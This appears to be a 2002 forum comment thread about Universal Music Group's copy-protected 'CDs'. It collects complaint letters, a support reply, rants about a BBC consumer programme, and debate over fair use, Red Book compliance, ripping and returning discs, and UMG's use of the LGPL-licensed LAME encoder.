To whom it may concern,
I am extremely disappointed in UMG's recent decision to copy protect compact discs in a format that is incompatible with the Mac and Linux operating systems and with DVD players.
I am an avid music collector with over 2,000 CD's in my collection, many of them under the UMG and subsidiary labels. I use my Mac and DVD player to listen to CD's, and thus your recent policy has essentially blocked me from
listening to the new "Super Audio CD" format. I will certainly not be purchasing your products while this state of affairs continues and may
very well choose to not purchase your products in the future for your clear lack of regard for the situation of millions of your consumers.
---the response
Date: Tue Jan 15, 2002 09:42:23 AM
To:
Subject: RE: "Super Audio CD"
This CD may not be playable in a limited number of CD players. UMG is currently working with our technology providers to achieve 100% playability in all players, and hopes to have MAC playability in the
future.
You can help us by emailing the make, model of the player and a description of the problem.
Music Help Online Support
---
Why would they think that a CD player would play something that is not in fact a CD?
You did NOT buy a CD if it does not conform with the REDBOOK. End of story.
Their info site should say, first line - you did not purchase a CD.
I think there is a good case for fraud, and misleading deception, until P. can be persuaded to water down or modify their standards - after all, IMHO, it is their trademark and company name that is being materially damaged by these non compliant knock-offs.
History has shown Victor does not seem to be getting royalties from 99 cent VHS?? video tapes, and P. will probably loose control and royalties, unless they slap an injunction - fast.
Now when joe consumer goes back to the store - did I buy a CD or not. Cut the bullshit - is is NOT a CD. The mall sign says joes music records and CD's. You stock 8000 titles, and I picked one of the half dozen or so duds.
In fact, Phillips should patent and trademark the words 'faulty , broken and crippled and disabled CD' with said standards into redbook, so that violators will have to pay them lots. I guess music stores will have a hard job moving CD's with a bright red floro sticker 'defective CD' across it.
Anyone want to take bets on how long it'll take before some "news" show does an "investigative report" on "broken CDs" and tells the average consumer to look for the CD-DA logo to ensure that the disc will work in their car, DVD player, and CD-compatible game console?
:-)
Yes, it happened last week but unfortunately it was BBC fucking Watchdog, the most ineffectual consumer affairs programme in the entire universe because they're more concerned with doing witty set pieces and puns than any research. The presenter, Nicki Campbell is a goon who just spouts the scripts he's given without any kind of insight into what he's actually saying, and his fearsome band of reporters look and talk like they're from a teeny-bopper tribute band. The whole experience is broadcast live, a completely crazy decision because none of the presenters are up to much more than following their autocues. Okay, so I enjoy sitting and getting apoplectic at the television once a week, my girlfriend loves it, but this was symptomatic of the approach of the whole program: they spent a good 3-4 minutes of prime-time television asking consumers in London whether they could tell the difference between copy-protected versions of Natalie Imbruglia, and the 'real McCoy', and concluded their report by saying that, well, the record company will replace copy-protected CDs with 'proper' copies if anyone has any complaints. Hoorah. Did they mention the issues raised by MP3 ripping? Fair use? The dilution of the CD standard? Hardly, it was mainly just a few minutes of moaning how the latest pop won't play on laptop CD players, but as with every issue they cover, they never like to rock the boat too much, or attempt any insight into what these complaints might be a symptom of.
Seriously, you guys (who weren't in the UK) should have seen the piece they did on Windows XP. That half-hour weekly slot has so much potential to become a fearsome adversary to corporations, but what they always do when somebody complains about a product to them is to show the product's advert in full, as they did with XP, and then invite some rep from the company to come on to answer some previously-scripted 'hard-hitting' questions about the product. What usually happens is that the smart company rep defuses the question in about the first five seconds, then proceeds to use the prime time television slot to gush about the product's benefits. As happened, expertly, with the Microsoft rep. The presenter occasionally interrupts to repeat the question, which, we suspect, they don't always entirely understand; there follows another five seconds defusing, followed by more minutes of sales patter. Total whitewash; I'm surprised companies are queuing up to have their products 'savaged' by the BBC. In the case of XP, what do you think they were grilling the guy about? A few total mongs who'd queued up outside PC World at midnight to pick up their copies of XP suddenly couldn't connect to the internet after installing it and had to install some extra software to get their computers working like they used to. Well if they liked their computer so much as it was, and relied on them so much for their vital work, why risk the upgrade? Seriously, it's common fucking sense that most of the Watchdog complainants lack, and Microsoft took full advantage of the opportunity these moaners had provided to sell their product; you'd think the Beeb would have brief their presenters on what a Windows XP actually was
Look, in case you haven't got the gist of this show, bear with me here. They had an item last week as well where a few people were complaining about British Gas putting their prices up for the second time in the year. Now the situation with gas suppliers in the UK is that British Gas used to supply everybody, and now the government split the people that supply the gas and pipe it to people's houses from the people that actually charge for, send you the bills and do all the admin. They compete on that part, right? Everybody gets the same gas, from the same company, no matter who bills them, and the billing companies can compete on special offers with similarly deregulated electricity deals. British Gas used to have everyone in the country as their customers, so they had their prices capped at a minimum during the initial couple of years to compensate for their unfair advantage. This minimum was recently lifted, they presumably still have a fair proportion of people that haven't switched from them, so they raise their prices because they're allowed to. Many many people were interviewed on the programme and said that this was a problem, that they couldn't afford to keep the heating on for more than 10 seconds a day etc. etc. Nicki Campbell, hard hitting as ever, asks the head of the independent gas regulation department whether they're being 'totally ineffectual'. The head of the gas regulation department points out that people can switch gas companies with just a phonecall, and that this has been well advertised. Nicki Campbell hits back with "well what about all those people we interviewed who like things the way they are?" Huzzah, the British consumer psyche in a nutshell. Total waste of time, and proof that a prime piece of television that claims to be helping consumers is just the Brits' favourite pastime (moaning loudly about things without wanting them to change) rearranged into a telly program with some goofy presenters and a catchy beat.
Sorry. I'm sorry for this rant. But to get back to the point: I think what Watchdog shows about the CD protection thing is that the vast majority of people just don't give a shit about the wider issues involved, and won't do until knackered, or WMF-encoded CDs are the norm and suddenly nobody can remember what the 'old' technology was like. But as you might have gathered it bugs me that such a good opportunity for a consumer affairs programme on UK television has been wasted so badly, and badly shakes my faith in people wanting to change these things (says Matthew, posting his detailed moan on Slashdot, a site much-read by BBC programme producers, before going for another beer and a few games of Crazy Taxi.)
Matthew @ Bytemark Hosting
Even if you did have the right (you may) there is nothing in what Universal has done to keep you from making a backup - if you have the right equipment.
You also have a right to make a backup of your Nintendo 64 games - if you have the right equipment.
In either case neither Universal nor Nintendo is under any legal obligation to provide their products in a nice, easily copyable format.
Complaining that you can't back up your music disc on a computer CDR drive (just because they fit the same form factor) is the same as complaining that you cannot backup your DVDs on that same computer CDR drive (just because they fit the same form factor.)
Please note that I use "music disc" and not "CD" as the description of what Universal is selling.
So I'm on my way home from work today, and had 10 minutes to kill waiting for the bus at the mall. "What the hell, let's go buy the 'Fast and Furious' soundtrack." So I stop into the local chain store and pick up a copy. $14.92 with tax. Make sure I save my receipt ;-)>
;-)>
;-)>
:-)> Someone should tell Wall Street and short Universal stock.
So I get home and pop it into my Woody box. I don't bother trying to play it, because I never hooked up the CD analog out anyway. Why bother? I never listen to CD's that way. Fire up Konsole. I'd tell you what I did next, but that might be a DMCA violation. I'm sure you can guess
Five minutes later, I've got what sure sounds like a perfect copy of the music. Oh, there were a couple of +'s on each track, but I can't hear any errors. Checked the first track. Checked the last track. Checked the middle tracks. Hmmm. Sounds great! Well, as good as can be expected. It's crappy music IMHO. Weird. You would think if they were going to bother with copy protection, they would at least make it work. I'm sure this is the right CD because it includes the sticker on the back of the case saying it's protected against "unauthorized copying". It includes an insert too with the www.musichelponle.com URL. Oh, and a toll free number: 1-877-918-7779. According to the insert, that's only for "Questions and Comments", so don't abuse it
I think I'll return the CD tommorrow despite the fact that it rips fine on my system. I probably won't even bother encoding it to Vorbis because, well, I think the music sucks. But it's nice to know that there is one less thing to worry about in the world. I can't imagine that this is going to last long when the public finds out that you can buy the CD, rip it to Vorbis or MP3, and return it for a full refund. And they though sales sucked before.
Blank paper outsells printed magazines
Time concludes that illegal copies of its magazine is harming sales.
Buy the CD using a credit card, not a debit or check card. They then have no choice at all. IF they refuse to take the return, leave the CD in the store and walk out. When you get home, call the bank that issued the credit card and tell them you wish to block a charge. They will tell you what you need to do, most likely write a letter explaining the charge you want blocked. Then will then stop the charge and you will not pay it. This is part of the way credit cards work, and the store can do nothing about it. Their only recorse is to sue you which they wouldn't win (you did give them the CD back) and they won't bother with anyhow because it's not worth their money.
Also, I expect stores won't care about returns. All they do is charge Universal for each returned CD. This is real common practise. Stores generally don't deal with returns directly. They just bill the dealer for all returned units, and ship them back.
Dear Sir/Madam:
I am very disappointed that you have chosen to lose law-abiding
customers by pressing discs that do not meet the Red Book standard.
Some background information: I encode all of the CD's I purchase as
compressed audio and store them on my hard drive, which can then serve
any of several devices under my own control, including a portable
player, a dedicated digital audio component of my stereo, and my
desktop machine. This provides me with the flexibility to choose
playlists composed of tracks from my entire 700+ disc collection,
which is nearly unlimited compared to a CD changer; and the
convenience of listening to them anywhere in my home or out.
I do not distribute my digital audio to others over peer-to-peer
networks, because I do not believe that Constitutional Fair Use or the
Audio Home Recording Act cover mass distribution of copyrighted
material to strangers. However, your technological solution to the
problem of people violating copyright en masse will have only one
effect: It will irritate many of your law-abiding customers, who want
only the freedom to use the music they purchased as they see fit
within the limits of Fair Use, reducing your sales and revenue.
In particular, it will have _no_ effect on pirates. As long as music
can be heard by human ears, it can be heard by a microphone, so it can
be re-recorded, encoded, and distributed over the same channels in use
today. There is no way for you to stop this, so if no one has told
you yet: adapt your business model to reality.
One way to do this would be to reduce the price of CD's. Like many
people who both consider value and who do not have unlimited funds, I
will not ever pay $18.99 for a CD. It doesn't matter how much I like
the band or want to hear the music, no 74 minutes of digital audio is
worth $19. Hint: I can guarantee you that my CD purchasing would more
than double were prices to be cut in half. $19 is unreasonable. $9
is reasonable.
You may also want to consider distributing unencumbered digital audio
over the web for a small fee. I would pay $0.50-1.00 for a single
track of high-fidelity digital audio (OGG Vorbis at quality level 4.5
is a good benchmark) that I could play on any device at any time
without limitations. I would not pay any price for digital audio with
restricted to a certain number of plays or to a certain device or set
of devices.
Similarly, I would not ever purchase a disc encumbered by similar
restrictions. If you persist in this "copy protection" [sic] plan, you
will lose me and many others as customers. Furthermore, as an Internet DJ
and a member of several online music groups, I will make sure to educate
others about your attacks on their Fair Use rights, and recommend to
the stores in which I shop that they stop stocking your CD's or
clearly mark them as "not Red Book compatible and unlikely to work in
your computer."
Please take this advice seriously: your intended approach will only
alienate your customers and will have _no_ effect on unauthorized
distribution. Digital audio distribution over the Internet is here to
stay, moral or immoral, legal or illegal. You can either adapt your
business model to reality, or fail.
Yours Truly,
Kyle Rose
[ home ]
It's called Autoplay and it's been around since 1995. You can turn it off if you want to, but I don't think it's that big a problem.
-James
- Link to LAME as separate library (libmp3lame.a on unix or lame_enc.dll on windows)
- Fully acknowledge that you are using LAME, and give a link to our web site, www.mp3dev.org
- If you make modifications to LAME, you *must* release these these modifications back to the LAME project, under the LGPL.
The Universal page saysThe Content has been encoded using software that incorporates the LAME encoder; more information about the encoder is available at http:// www.mp3dev.org.
It does indeed mention LAIM but it dose not LINK to it.
Universal claims to use Blowfish to encrypt the mp3's. With the massive amount of mp3's that would need to be encoded universal must have some tool to encode and encrypt the trcks. BUT if they are using sutch a tool, they are using a program with LGPL'ed parts.
Universal claims that:
* Player and Content. The Player and Content comprise intellectual property owned by us and our licensors, and they are protected under international law, including patent, copyright and trade secret laws...,
But GNU in LGPL:
Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license.
LAIM is LGPL, I do not see how the method of encodeing including the use of LAIM can be considerd both "INTELECUAL PROPERTY protected by Trade Secret, and Patent Laws" and "consistend with the full freedom of use specified in (LGPL)."
But who knows? Perhaps journalistic integrity is still alive somewhere in the US.
Bwahahahahahahahaha hahahahahahahahahahaha hahahaha hahahahahahahahahahahahaha hahahahahahahahahaha hahahahahah!!!!
Fscking lameness filter..... Insists that that be lowercase!
anybody know of a site thats up with hacks to get past this?
We seldom regret saying too little but often regret saying too much.
There's a part of the legal discalimer:
YOU WILL NOT HOLD US OR OUR , AS APPLICABLE, RESPONSIBLE FOR ANY DAMAGES THAT RESULT FROM YOU USING THE PLAYER OR CONTENT, INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER OR DAMAGE TO ANY SOFTWARE OR SYSTEMS YOU USE TO ACCESS THE SAME THAT MAY RESULT FROM THAT USE.
Isn't this very similar to the attachment to the USA bill (or whatever - not a US citizen myself) that someone attempted to sneak through? Is anyone else worried that if enough of the paper aggreements get put on CD's the publics expectation will be to have to put up with them?
At that point they kinda become law by proxy, in the same way that employees can't expect to have privacy at work anymore, because spying on you at your desk is standard practice. So sure it's slower, but they've got time, they just have to wait, have a mock case every few years and wait for a judge to agree that the public can't expect their CD's (or music cubes or whatever) to not retaliate if you try and make a copy. By retaliate I mean a quick fdisk and emailing the authorities to come kick down your door cause you're doing something naughty.
It's a particularly paranoid thought, but so far it seems to be the large corporations that are on the winning side.
Tim.
Waiting for his anti fdisk CD-reader from India...
Hey, folks... Maybe there's something else here.
If this music is compressed, isn't it also missing tiny pieces, meaning that it has a lower sound quality (perhaps not important to human ears) than a standard CD format would have?
Is it encrypted or encrypted AND compressed?
There is a reason for this, and they are technically using the correct term. In marketing lingo, the customer is the person who buys the product, and the consumer is the one who actually uses it. Note that these two are not always the same. Thus, when they talk about consumers, it means that they're paying attention to you, the person actually using the CD, not your Auntie May who bought you the disk for Christmas.
Salespeople are more apt to talk about customers because they just want to get the sale. The marketing people are more concerned with consumer satisfaction, because they're the ones who will influence what's bought. Even when they are the same person, it pays for these people to use the terminology.
I think everyone on
"I may not have morals, but I have standards."
Now I don't mean to get off on a rant here, but this reminds me a lot of electronic muscle stimulators. I've seen THREE separate reports on EMS' (I'm sure a bunch of you geeks bought some, don't try to deny it) and they've all said the same thing. What is it with journalistic redundancy? Is there NOT enough going on in the world? If there wasn't, why are there several dedicated cable news channels (including, but not limited to, CNN, CNBC, MSNBC, FOXNN...)? Do it once, get it over with, stop repeating yourselves. I don't CARE that much. But then, that's just my opinion. I could be wrong.
Yeah, yeah, off-topic, mod me down, whatever. I don't get modded up enough for it to count anyway, what with my insignificant comments.
[insert witty comment here]
Just use that old DOS standby; the COPY command and bypass the EULA!
Hmmmm....MD mymusic [enter]
Cd mymusic
C:\mymusic>copy d:*.*
Return to windope and create shortcut/s.....
Has ANYBODY even thought taking this route?
Copy Copy Copy Copy..PIRATE!
Pirate Copy Copy Copy...UMG!
You can't agree to a "license" if it's not visible during your COPY exercise, can you?
After you copy the CD to a HD file, you can remove the EULA from the music and ease your tired eyes.
It is written: *Where there's a will, there's a way*. Hell, I'm NOT WILL, but I do have a way!
206.39.38.2, DDN-BLK-36, DOD NET INFO CENTER. 800.365.3642 206.36.0.0-206.39.255.255 NET RANGE.
I used to dj, we would receive pre-release/promo discs from the record companies, and services would provide compilation discs that we and the radio stations would receive (how'd ya think they played the songs before the album was released?). I wonder if these discs are going to be degraded/protected somehow? I'd hate to be spinning and have a spike/pop come through with 2400 watts (true rms by multiple crown amps) a channel cranked! I'd be pissed, never mind the reaction of the crowd! Then again, a lot of the good stuff (not mainstream!) still comes out on 12"...with a good pickup and proper pre-amp, will blow away the cd version any day!
Today, I mostly stream. Background as I code. I don't like the quality so I keep it low, 128k sounds bad to me, vbr at cd quality is better. mp3pro at the highest quality sounds good, but try finding anything but your pc to play it on...
l8r
Look. Universal doesn't CARE what you think.
It's not that they don't want your money - it's that they decided that if forced to choose beween losing your money because they pissed you off, and losing a whole lot more money because they DID NOT piss you off, they'd rather piss you off.
So they decided to piss you off. Got that?
They did not implement this scheme lightly. This was a direction from Bronfman and the Board of Directors. It has been delivered from on high like a stone tablet. And all the complaining in the world is not going to change this.
This is the result of a PRIME DIRECTIVE. Some underling didn't think this up all on his own during a coffee break.
Universal has concluded that piracy is the single biggest threat to its business. It is competing in the marketplace against FREE copies of what it already sells, and it is competing against FREE copies of what its competitors sell.
That's a battle they don't want to give up on without a fight. Can't blame 'em there.
So this is what they decided. They don't care about alternative OS's, they don't care about fair use, they don't give a rat's about how many letters you write, what bad publicity you give them, or how many copies of CD's you return.
>>THEY DON'T CARE
They think - and rightly so - that the MP3 and file sharing - in the long term - is a far graver threat to their bottom line than alienating any segment of their customer base.
Know something? They are right.
It's not going to work of course. Copy protection is a losing battle. But - go ahead guys. Give it your best shot Universal.
Amidst all this hysteria - get SERIOUS for a moment: if you buy a game, you don't RAVE about iD requiring a reg code for having to play Wolf Multiplayer online.
You don't RAVE about a software company using whatever flavour of the month watermarking scheme they have to inhibit piracy this month do you?
And you don't rave about the fact that the game only works with Windows either.
Universal has made a deliberate choice motivated by profit. They might be right - they might be wrong - but they genuinely feel they have no other choice.
So let em do it. You don't like it? Find a way around it. You can't do that? Then hats off to these guys for being the first company on planet Earth to make copy protection work on an mass scale.
Pissed about not being able to use Winamp to play your music? Then don't buy their product. Really - that's all there is to it. Vote with your wallet.
They think they will lose less in the long run by doing this than they will by not doing it. I am not sure that they are right in this belief - but that is only because copy protection is like locking a window, not like locking a vault. If you want to break the window to get in - you will.
If their copy protection scheme was foolproof, they'd be stupid NOT to do this.
If I have to read one more pious message about "rights" to make archival copies and "indignant" alternative OS users, I think I'll hurl.
Give it a rest. This is about money - and they decided you don't count. In the long run - they are probably right - so suck it up.
.Robert
I doubt that the artists would like to hear that their precious work has been degraded by the VERY PEOPLE they're PAYING TO SELL IT.
I mean, I understand that Universal is trying to copy protect their work, but if the work sucks badly enough that no one wants to listen to it, or if it's degraded enough...
Just sounds like a bad way to go, you know?
Ok, it's a bit late to comment in this discussion, but I was wondering... Is it only me that finds it ironic that the same company that is trying to push forward with copy-control on their CDs, also happens to own emusic (www.emusic.com), the site that lets you download as many mp3s as you can stand, and specifically lets you do what you want with them as long as its for you own personal use, for a flat monthly fee?
Sarcasm, beautiful sarcasm.
I realize this is a late post and all (most readers have moved on to slash-bombing some other story), but thought I should pass along the results of some experiments I tried this week-end on a disc I suspected to be copy-protected.
I have a copy of America: A Tribute to Heroes. I tried to play this on my Wintel box, first in an HP CD-RW drive. When I popped it in, up popped the Windows Media Player to play, presumably, some secondary WMA files on the disk. I terminated the player and launched WinAmp to attempt to play the CD tracks themselves - they would not play. I then moved the disc to my second drive on that box, a DVD-ROM drive. WinAmp happily played them as CD tracks!
Finally, I took the disc over to my PowerBook with its DVD-ROM drive. Not only would it play there, but it was rippable by iTunes as well! Seems the reports I've heard about DVD-ROM drives being able to get past the copy protection are true.
Last, I took the disc back to fye where I bought it. Nobody in the store has heard of this problem, but I showed them a copy of the "return policy" page from the UMG web-site and they took it back and refunded my money without a hassle. This despite the fact it was well past their 30-day exchange-only time limit on opened CDs. If there is a backlash in progress, it hasn't hit Binghamton, New York yet.
From http://www.musichelponline.com/index.asp
UMG is incorporating copy protection into their CDs to assess its viability in protecting the rights of our artists and copyright holders by preventing CD copying and illegal Internet distribution.
This will not turn out to be commercially viable, and will not prevent very much copying or distribution. And exactly how do they expect to stop bootleggers this way?
The CD should automatically start playing in most PCs. If it does not start playing in yours, open the CD-ROM drive's window and click on the music player application. Once in the player you can "Play" or open the "Playlist", choose a track and click on it.
I have difficulty playing the audio from any multisession CD, e.g. one with a bonus music video. I'm sure part of the "protection" in each of these schemes is the simple fact that there is a 2nd session. And even though I have trouble playing the audio, I have no trouble ripping the audio. First thing to educate the public about is how to turn off auto-insert notification to stop their goofy player from starting automatically. That will remove the false impression that the CD can somehow make the computer do something all on its own.
I was somewhat offended that UMG are using the free LAME encoder rather than a commercial product such as Fraunhofer. Ain't that a slap in the face? They could be creating the fscking MP3-like files on Linux systems with that free-software tool, yet they want to block you from playing the resulting CD any which way on your Linux system.